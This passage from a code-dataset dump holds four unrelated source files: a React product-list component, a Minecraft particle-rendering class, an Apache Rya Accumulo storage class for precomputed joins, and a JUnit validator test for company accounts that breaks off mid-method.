repo_name stringlengths 6 101 | path stringlengths 4 300 | text stringlengths 7 1.31M |
|---|---|---|
VJohndev/sample | src/components/Items/AllItems/index.js | <filename>src/components/Items/AllItems/index.js
//Dependencies
import React from 'react';
import { Icon } from 'react-materialize';
import { Link } from 'react-router-dom';
import map from 'lodash/map';
//Internals
import PRODUCTS from '../../Data';
const AllItems = () => (
<div className="items">
{map(PRODUCTS, (product)=> (
<div key={product.id} className="item">
<Link to={`/products/${product.id}`}>
<div className="product-img">
<img alt={product.name} src={product.img} />
</div>
<div className="product-details">
<h1 id="product-name">{product.name}</h1>
<h4 id="product-description">{product.description}</h4>
</div>
</Link>
<div className="price-add">
<h5 id="product-price">${product.price}</h5>
<Icon small id="add-icon">add_shopping_cart</Icon>
</div>
</div>
))}
</div>
)
export default AllItems;
|
RPMYT/BiblioCraft-Source | src/main/java/jds/bibliocraft/entity/EntityCatalogFX.java | <reponame>RPMYT/BiblioCraft-Source<filename>src/main/java/jds/bibliocraft/entity/EntityCatalogFX.java<gh_stars>10-100
package jds.bibliocraft.entity;
import net.minecraft.client.Minecraft;
import net.minecraft.client.particle.Particle;
import net.minecraft.client.renderer.BufferBuilder;
import net.minecraft.entity.Entity;
import net.minecraft.util.ResourceLocation;
import net.minecraft.world.World;
public class EntityCatalogFX extends Particle
{
private ResourceLocation texture = new ResourceLocation("bibliocraft", "textures/particle/particlecatalog.png");
public EntityCatalogFX(World world, double x, double y, double z, double motx, double moty, double motz)
{
super(world, x, y, z);
this.particleMaxAge = 30;
this.motionX = motx;
this.motionY = moty;
this.motionZ = motz;
//this.motionX *= 0.01000000149011612D;
//this.motionY *= 0.01000000149011612D;
//this.motionZ *= 0.01000000149011612D;
}
@Override
public void renderParticle(BufferBuilder worldRenderer, Entity entity, float partialTick, float yaw, float pitch, float yawz, float moty, float motz)
{
Minecraft.getMinecraft().getTextureManager().bindTexture(texture);
double x = this.posX - this.interpPosX;
double y = this.posY - this.interpPosY;
double z = this.posZ - this.interpPosZ;
int combinedBrightness = this.getBrightnessForRender(partialTick);
int skyLightTimes16 = combinedBrightness >> 16 & 65535;
int blockLightTimes16 = combinedBrightness & 65535;
double scaler = 0.00 + (10.0 / (this.particleAge + 80)) - 0.03;
this.particleAlpha = (float)((this.particleMaxAge-this.particleAge+0.0)/(this.particleMaxAge+0.0));
worldRenderer.pos(x - (yaw * scaler) - (moty * scaler), y - (0.5 * scaler) - (pitch * scaler), z - (0.5 * scaler) - (yawz * scaler) - (motz * scaler))
.tex(1, 1)
.color(this.particleRed, this.particleGreen, this.particleBlue, this.particleAlpha)
.lightmap(skyLightTimes16, blockLightTimes16).endVertex();
worldRenderer.pos(x - (yaw*scaler) + (moty*scaler), y + (0.5*scaler) + (pitch*scaler), z - (0.5*scaler) - (yawz*scaler) + (motz*scaler))
.tex(0, 1)
.color(this.particleRed, this.particleGreen, this.particleBlue, this.particleAlpha)
.lightmap(skyLightTimes16, blockLightTimes16).endVertex();
worldRenderer.pos(x + (yaw*scaler) + (moty*scaler), y + (0.5*scaler) + (pitch*scaler), z + (0.5*scaler) + (yawz*scaler) + (motz*scaler))
.tex(0, 0)
.color(this.particleRed, this.particleGreen, this.particleBlue, this.particleAlpha)
.lightmap(skyLightTimes16, blockLightTimes16).endVertex();
worldRenderer.pos(x + (yaw*scaler) - (moty*scaler), y - (0.5*scaler) - (pitch*scaler), z + (0.5*scaler) + (yawz*scaler) - (motz*scaler))
.tex(1, 0)
.color(this.particleRed, this.particleGreen, this.particleBlue, this.particleAlpha)
.lightmap(skyLightTimes16, blockLightTimes16).endVertex();
}
@Override
public void onUpdate()
{
this.prevPosX = this.posX;
this.prevPosY = this.posY;
this.prevPosZ = this.posZ;
if (this.particleAge++ >= this.particleMaxAge)
{
this.setExpired();
}
this.move(this.motionX, this.motionY, this.motionZ);
if (this.posY == this.prevPosY)
{
this.motionX *= 1.1D;
this.motionZ *= 1.1D;
}
this.motionX *= 0.9599999785423279D;
this.motionY *= 0.9599999785423279D;
this.motionZ *= 0.9599999785423279D;
if (this.onGround)
{
this.motionX *= 0.699999988079071D;
this.motionZ *= 0.699999988079071D;
}
}
@Override
public int getFXLayer()
{
return 2;
}
}
|
larsw/rya | extras/rya.indexing.pcj/src/main/java/org/apache/rya/indexing/pcj/storage/accumulo/AccumuloPcjStorage.java | <gh_stars>10-100
/*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.rya.indexing.pcj.storage.accumulo;
import static java.util.Objects.requireNonNull;
import java.util.ArrayList;
import java.util.Collection;
import java.util.List;
import java.util.Set;
import org.apache.accumulo.core.client.AccumuloException;
import org.apache.accumulo.core.client.AccumuloSecurityException;
import org.apache.accumulo.core.client.Connector;
import org.apache.accumulo.core.security.Authorizations;
import org.apache.rya.accumulo.instance.AccumuloRyaInstanceDetailsRepository;
import org.apache.rya.accumulo.utils.TablePermissions;
import org.apache.rya.api.instance.RyaDetails;
import org.apache.rya.api.instance.RyaDetails.PCJIndexDetails;
import org.apache.rya.api.instance.RyaDetails.PCJIndexDetails.PCJDetails;
import org.apache.rya.api.instance.RyaDetailsRepository;
import org.apache.rya.api.instance.RyaDetailsRepository.RyaDetailsRepositoryException;
import org.apache.rya.api.instance.RyaDetailsUpdater;
import org.apache.rya.api.instance.RyaDetailsUpdater.RyaDetailsMutator.CouldNotApplyMutationException;
import org.apache.rya.api.model.VisibilityBindingSet;
import org.apache.rya.api.utils.CloseableIterator;
import org.apache.rya.indexing.pcj.storage.PCJIdFactory;
import org.apache.rya.indexing.pcj.storage.PcjMetadata;
import org.apache.rya.indexing.pcj.storage.PrecomputedJoinStorage;
import org.eclipse.rdf4j.query.BindingSet;
import org.eclipse.rdf4j.query.MalformedQueryException;
import edu.umd.cs.findbugs.annotations.DefaultAnnotation;
import edu.umd.cs.findbugs.annotations.NonNull;
/**
* An Accumulo backed implementation of {@link PrecomputedJoinStorage}.
*/
@DefaultAnnotation(NonNull.class)
public class AccumuloPcjStorage implements PrecomputedJoinStorage {
private static final TablePermissions TABLE_PERMISSIONS = new TablePermissions();
// Factories that are used to create new PCJs.
private final PCJIdFactory pcjIdFactory = new PCJIdFactory();
private final PcjTableNameFactory pcjTableNameFactory = new PcjTableNameFactory();
private final PcjVarOrderFactory pcjVarOrderFactory = new ShiftVarOrderFactory();
// Objects used to interact with the PCJ tables associated with an instance of Rya.
private final Connector accumuloConn;
private final String ryaInstanceName;
private final PcjTables pcjTables = new PcjTables();
// Used to update the instance's metadata.
private final RyaDetailsRepository ryaDetailsRepo;
/**
* Constructs an instance of {@link AccumuloPcjStorage}.
*
* @param accumuloConn - The connector that will be used to connect to Accumulo. (not null)
* @param ryaInstanceName - The name of the RYA instance that will be accessed. (not null)
*/
public AccumuloPcjStorage(final Connector accumuloConn, final String ryaInstanceName) {
this.accumuloConn = requireNonNull(accumuloConn);
this.ryaInstanceName = requireNonNull(ryaInstanceName);
ryaDetailsRepo = new AccumuloRyaInstanceDetailsRepository(accumuloConn, ryaInstanceName);
}
@Override
public List<String> listPcjs() throws PCJStorageException {
try {
final RyaDetails details = ryaDetailsRepo.getRyaInstanceDetails();
final PCJIndexDetails pcjIndexDetails = details.getPCJIndexDetails();
final List<String> pcjIds = new ArrayList<>( pcjIndexDetails.getPCJDetails().keySet() );
return pcjIds;
} catch (final RyaDetailsRepositoryException e) {
throw new PCJStorageException("Could not check to see if RyaDetails exist for the instance.", e);
}
}
@Override
public String createPcj(final String sparql) throws PCJStorageException {
requireNonNull(sparql);
// Create the variable orders that will be used within Accumulo to store the PCJ.
final Set<VariableOrder> varOrders;
try {
varOrders = pcjVarOrderFactory.makeVarOrders(sparql);
} catch (final MalformedQueryException e) {
throw new PCJStorageException("Can not create the PCJ. The SPARQL is malformed.", e);
}
// Update the Rya Details for this instance to include the new PCJ table.
final String pcjId = pcjIdFactory.nextId();
try {
new RyaDetailsUpdater(ryaDetailsRepo).update(
originalDetails -> {
// Create the new PCJ's details.
final PCJDetails.Builder newPcjDetails = PCJDetails.builder().setId( pcjId );
// Add them to the instance's details.
final RyaDetails.Builder mutated = RyaDetails.builder(originalDetails);
mutated.getPCJIndexDetails().addPCJDetails( newPcjDetails );
return mutated.build();
});
} catch (final RyaDetailsRepositoryException | CouldNotApplyMutationException e) {
throw new PCJStorageException(String.format("Could not create a new PCJ for Rya instance '%s' " +
"because of a problem while updating the instance's details.", ryaInstanceName), e);
}
// Create the table that will hold the PCJ's results.
final String pcjTableName = pcjTableNameFactory.makeTableName(ryaInstanceName, pcjId);
pcjTables.createPcjTable(accumuloConn, pcjTableName, varOrders, sparql);
// Add access to the PCJ table to all users who are authorized for this instance of Rya.
try {
for(final String user : ryaDetailsRepo.getRyaInstanceDetails().getUsers()) {
TABLE_PERMISSIONS.grantAllPermissions(user, pcjTableName, accumuloConn);
}
} catch (final RyaDetailsRepositoryException | AccumuloException | AccumuloSecurityException e) {
throw new PCJStorageException(String.format("Could not grant authorized users access to the " +
"new PCJ index table '%s' for Rya instance '%s' because of a problem while granting " +
"the permissions.", pcjTableName, ryaInstanceName), e);
}
return pcjId;
}
@Override
public PcjMetadata getPcjMetadata(final String pcjId) throws PCJStorageException {
requireNonNull(pcjId);
final String pcjTableName = pcjTableNameFactory.makeTableName(ryaInstanceName, pcjId);
return pcjTables.getPcjMetadata(accumuloConn, pcjTableName);
}
@Override
public void addResults(final String pcjId, final Collection<VisibilityBindingSet> results) throws PCJStorageException {
requireNonNull(pcjId);
requireNonNull(results);
final String pcjTableName = pcjTableNameFactory.makeTableName(ryaInstanceName, pcjId);
pcjTables.addResults(accumuloConn, pcjTableName, results);
}
@Override
public CloseableIterator<BindingSet> listResults(final String pcjId) throws PCJStorageException {
requireNonNull(pcjId);
try {
// Fetch my authorizations.
final String myUsername = accumuloConn.whoami();
final Authorizations myAuths = accumuloConn.securityOperations().getUserAuthorizations( myUsername );
// Scan the PCJ table.
final String pcjTableName = pcjTableNameFactory.makeTableName(ryaInstanceName, pcjId);
return pcjTables.listResults(accumuloConn, pcjTableName, myAuths);
} catch (AccumuloException | AccumuloSecurityException e) {
throw new PCJStorageException("Could not list the results because I can not look up my Authorizations.", e);
}
}
@Override
public void purge(final String pcjId) throws PCJStorageException {
requireNonNull(pcjId);
final String pcjTableName = pcjTableNameFactory.makeTableName(ryaInstanceName, pcjId);
pcjTables.purgePcjTable(accumuloConn, pcjTableName);
}
@Override
public void dropPcj(final String pcjId) throws PCJStorageException {
requireNonNull(pcjId);
// Update the Rya Details for this instance to no longer include the PCJ.
try {
new RyaDetailsUpdater(ryaDetailsRepo).update(
originalDetails -> {
// Drop the PCJ's metadata from the instance's metadata.
final RyaDetails.Builder mutated = RyaDetails.builder(originalDetails);
mutated.getPCJIndexDetails().removePCJDetails(pcjId);
return mutated.build();
});
} catch (final RyaDetailsRepositoryException | CouldNotApplyMutationException e) {
throw new PCJStorageException(String.format("Could not drop an existing PCJ for Rya instance '%s' " +
"because of a problem while updating the instance's details.", ryaInstanceName), e);
}
// Delete the table that hold's the PCJ's results.
final String pcjTableName = pcjTableNameFactory.makeTableName(ryaInstanceName, pcjId);
pcjTables.dropPcjTable(accumuloConn, pcjTableName);
}
@Override
public void close() throws PCJStorageException {
// Accumulo Connectors don't require closing.
}
} |
uk-gov-mirror/companieshouse.company-accounts.api.ch.gov.uk | src/test/java/uk/gov/companieshouse/api/accounts/validation/TangibleAssetsValidatorTest.java | <filename>src/test/java/uk/gov/companieshouse/api/accounts/validation/TangibleAssetsValidatorTest.java
package uk.gov.companieshouse.api.accounts.validation;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertFalse;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.when;
import javax.servlet.http.HttpServletRequest;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DisplayName;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.TestInstance;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.springframework.test.util.ReflectionTestUtils;
import uk.gov.companieshouse.api.accounts.enumeration.AccountingNoteType;
import uk.gov.companieshouse.api.accounts.exception.DataException;
import uk.gov.companieshouse.api.accounts.exception.ServiceException;
import uk.gov.companieshouse.api.accounts.model.rest.BalanceSheet;
import uk.gov.companieshouse.api.accounts.model.rest.CurrentPeriod;
import uk.gov.companieshouse.api.accounts.model.rest.FixedAssets;
import uk.gov.companieshouse.api.accounts.model.rest.PreviousPeriod;
import uk.gov.companieshouse.api.accounts.model.rest.smallfull.notes.tangibleassets.Cost;
import uk.gov.companieshouse.api.accounts.model.rest.smallfull.notes.tangibleassets.Depreciation;
import uk.gov.companieshouse.api.accounts.model.rest.smallfull.notes.tangibleassets.TangibleAssets;
import uk.gov.companieshouse.api.accounts.model.rest.smallfull.notes.tangibleassets.TangibleAssetsResource;
import uk.gov.companieshouse.api.accounts.model.validation.Error;
import uk.gov.companieshouse.api.accounts.model.validation.Errors;
import uk.gov.companieshouse.api.accounts.service.CompanyService;
import uk.gov.companieshouse.api.accounts.service.impl.CurrentPeriodService;
import uk.gov.companieshouse.api.accounts.service.impl.PreviousPeriodService;
import uk.gov.companieshouse.api.accounts.service.response.ResponseObject;
import uk.gov.companieshouse.api.accounts.service.response.ResponseStatus;
import uk.gov.companieshouse.api.model.transaction.Transaction;
@ExtendWith(MockitoExtension.class)
@TestInstance(TestInstance.Lifecycle.PER_CLASS)
class TangibleAssetsValidatorTest {
private static final String UNEXPECTED_DATA_KEY = "unexpectedData";
private static final String UNEXPECTED_DATA = "unexpected.data";
private static final String VALUE_REQUIRED_KEY = "valueRequired";
private static final String VALUE_REQUIRED = "value_required";
private static final String INCORRECT_TOTAL_KEY = "incorrectTotal";
private static final String INCORRECT_TOTAL = "incorrect_total";
private static final String CURRENT_BALANCE_SHEET_NOT_EQUAL_KEY = "currentBalanceSheetNotEqual";
private static final String CURRENT_BALANCE_SHEET_NOT_EQUAL = "value_not_equal_to_current_period_on_balance_sheet";
private static final String PREVIOUS_BALANCE_SHEET_NOT_EQUAL_KEY = "previousBalanceSheetNotEqual";
private static final String PREVIOUS_BALANCE_SHEET_NOT_EQUAL = "value_not_equal_to_previous_period_on_balance_sheet";
private static final String COMPANY_ACCOUNTS_ID = "companyAccountsId";
@Mock
private Transaction transaction;
@Mock
private HttpServletRequest request;
@Mock
private CompanyService companyService;
@Mock
private CurrentPeriodService currentPeriodService;
@Mock
private PreviousPeriodService previousPeriodService;
private TangibleAssetsValidator validator;
@BeforeEach
private void setUp() {
validator = new TangibleAssetsValidator(companyService, currentPeriodService, previousPeriodService);
}
@Test
@DisplayName("First year filer - provides only additional info in note")
void firstYearFilerNoteOnlyContainsAdditionalInfo() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setAdditionalInformation("additionalInfo");
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.total.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("Multiple year filer - provides only additional info in note")
void multipleYearFilerNoteOnlyContainsAdditionalInfo() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setAdditionalInformation("additionalInfo");
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(2, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.total.net_book_value_at_end_of_current_period")));
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.total.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("First year filer - provides cost at period start in sub resource")
void firstYearFilerProvidesCostAtPeriodStartInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
fixturesAndFittings.setCost(cost);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, UNEXPECTED_DATA_KEY, UNEXPECTED_DATA);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(UNEXPECTED_DATA, "$.tangible_assets.fixtures_and_fittings.cost.at_period_start")));
}
@Test
@DisplayName("First year filer - provides depreciation at period start in sub resource")
void firstYearFilerProvidesDepreciationAtPeriodStartInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Depreciation depreciation = new Depreciation();
depreciation.setAtPeriodStart(1L);
fixturesAndFittings.setDepreciation(depreciation);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, UNEXPECTED_DATA_KEY, UNEXPECTED_DATA);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(UNEXPECTED_DATA, "$.tangible_assets.fixtures_and_fittings.depreciation.at_period_start")));
}
@Test
@DisplayName("First year filer - provides net book value at previous period end in sub resource")
void firstYearFilerProvidesNetBookValueAtPreviousPeriodEndInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, UNEXPECTED_DATA_KEY, UNEXPECTED_DATA);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(UNEXPECTED_DATA, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("First year filer - provides only cost fields in sub resource")
void firstYearFilerProvidesOnlyCostFieldsInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAdditions(1L);
fixturesAndFittings.setCost(cost);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("First year filer - provides only depreciation fields in sub resource")
void firstYearFilerProvidesOnlyDepreciationFieldsInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Depreciation depreciation = new Depreciation();
depreciation.setChargeForYear(1L);
fixturesAndFittings.setDepreciation(depreciation);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("First year filer - doesn't provide cost in sub resource")
void firstYearFilerDoesNotProvideCostInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.cost.at_period_end")));
}
@Test
@DisplayName("First year filer - doesn't provide cost at period start in sub resource")
void firstYearFilerDoesNotProvideCostAtPeriodStartInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(false);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
fixturesAndFittings.setCost(new Cost());
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.cost.at_period_end")));
}
@Test
@DisplayName("Multiple year filer - doesn't provide net book value at end of previous period in sub resource")
void multipleYearFilerDoesNotProvideNetBookValuePreviousPeriodInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
cost.setAtPeriodEnd(1L);
fixturesAndFittings.setCost(cost);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_previous_period")));
}
@Test
@DisplayName("Multiple year filer - doesn't provide net book value at end of current period in sub resource")
void multipleYearFilerDoesNotProvideNetBookValueCurrentPeriodInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
cost.setAtPeriodEnd(1L);
fixturesAndFittings.setCost(cost);
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_current_period")));
}
@Test
@DisplayName("Multiple year filer - doesn't provide cost in sub resource")
void multipleYearFilerDoesNotProvideCostInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(2, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.cost.at_period_start")));
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.cost.at_period_end")));
}
@Test
@DisplayName("Multiple year filer - doesn't provide cost at period start in sub resource")
void multipleYearFilerDoesNotProvideCostAtPeriodStartInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
Cost cost = new Cost();
cost.setAtPeriodEnd(1L);
fixturesAndFittings.setCost(cost);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.cost.at_period_start")));
}
@Test
@DisplayName("Multiple year filer - doesn't provide cost at period end in sub resource")
void multipleYearFilerDoesNotProvideCostAtPeriodEndInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
fixturesAndFittings.setCost(cost);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(1, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.cost.at_period_end")));
}
@Test
@DisplayName("Multiple year filer - doesn't provide depreciation at period start or end in sub resource")
void multipleYearFilerDoesNotProvideDepreciationAtPeriodStartOrEndInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
fixturesAndFittings.setNetBookValueAtEndOfPreviousPeriod(1L);
fixturesAndFittings.setNetBookValueAtEndOfCurrentPeriod(1L);
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
cost.setAtPeriodEnd(1L);
fixturesAndFittings.setCost(cost);
Depreciation depreciation = new Depreciation();
depreciation.setChargeForYear(1L);
fixturesAndFittings.setDepreciation(depreciation);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(2, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.depreciation.at_period_start")));
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.depreciation.at_period_end")));
}
@Test
@DisplayName("Multiple year filer - provides only cost fields in sub resource")
void multipleYearFilerProvidesOnlyCostFieldsInSubResource() throws ServiceException, DataException {
when(companyService.isMultipleYearFiler(any(Transaction.class))).thenReturn(true);
TangibleAssetsResource fixturesAndFittings = new TangibleAssetsResource();
Cost cost = new Cost();
cost.setAtPeriodStart(1L);
fixturesAndFittings.setCost(cost);
TangibleAssets tangibleAssets = new TangibleAssets();
tangibleAssets.setFixturesAndFittings(fixturesAndFittings);
ReflectionTestUtils.setField(validator, VALUE_REQUIRED_KEY, VALUE_REQUIRED);
Errors errors = validator.validateSubmission(tangibleAssets, transaction, COMPANY_ACCOUNTS_ID, request);
assertEquals(2, errors.getErrorCount());
assertTrue(errors.containsError(createError(VALUE_REQUIRED, "$.tangible_assets.fixtures_and_fittings.net_book_value_at_end_of_current_period")));
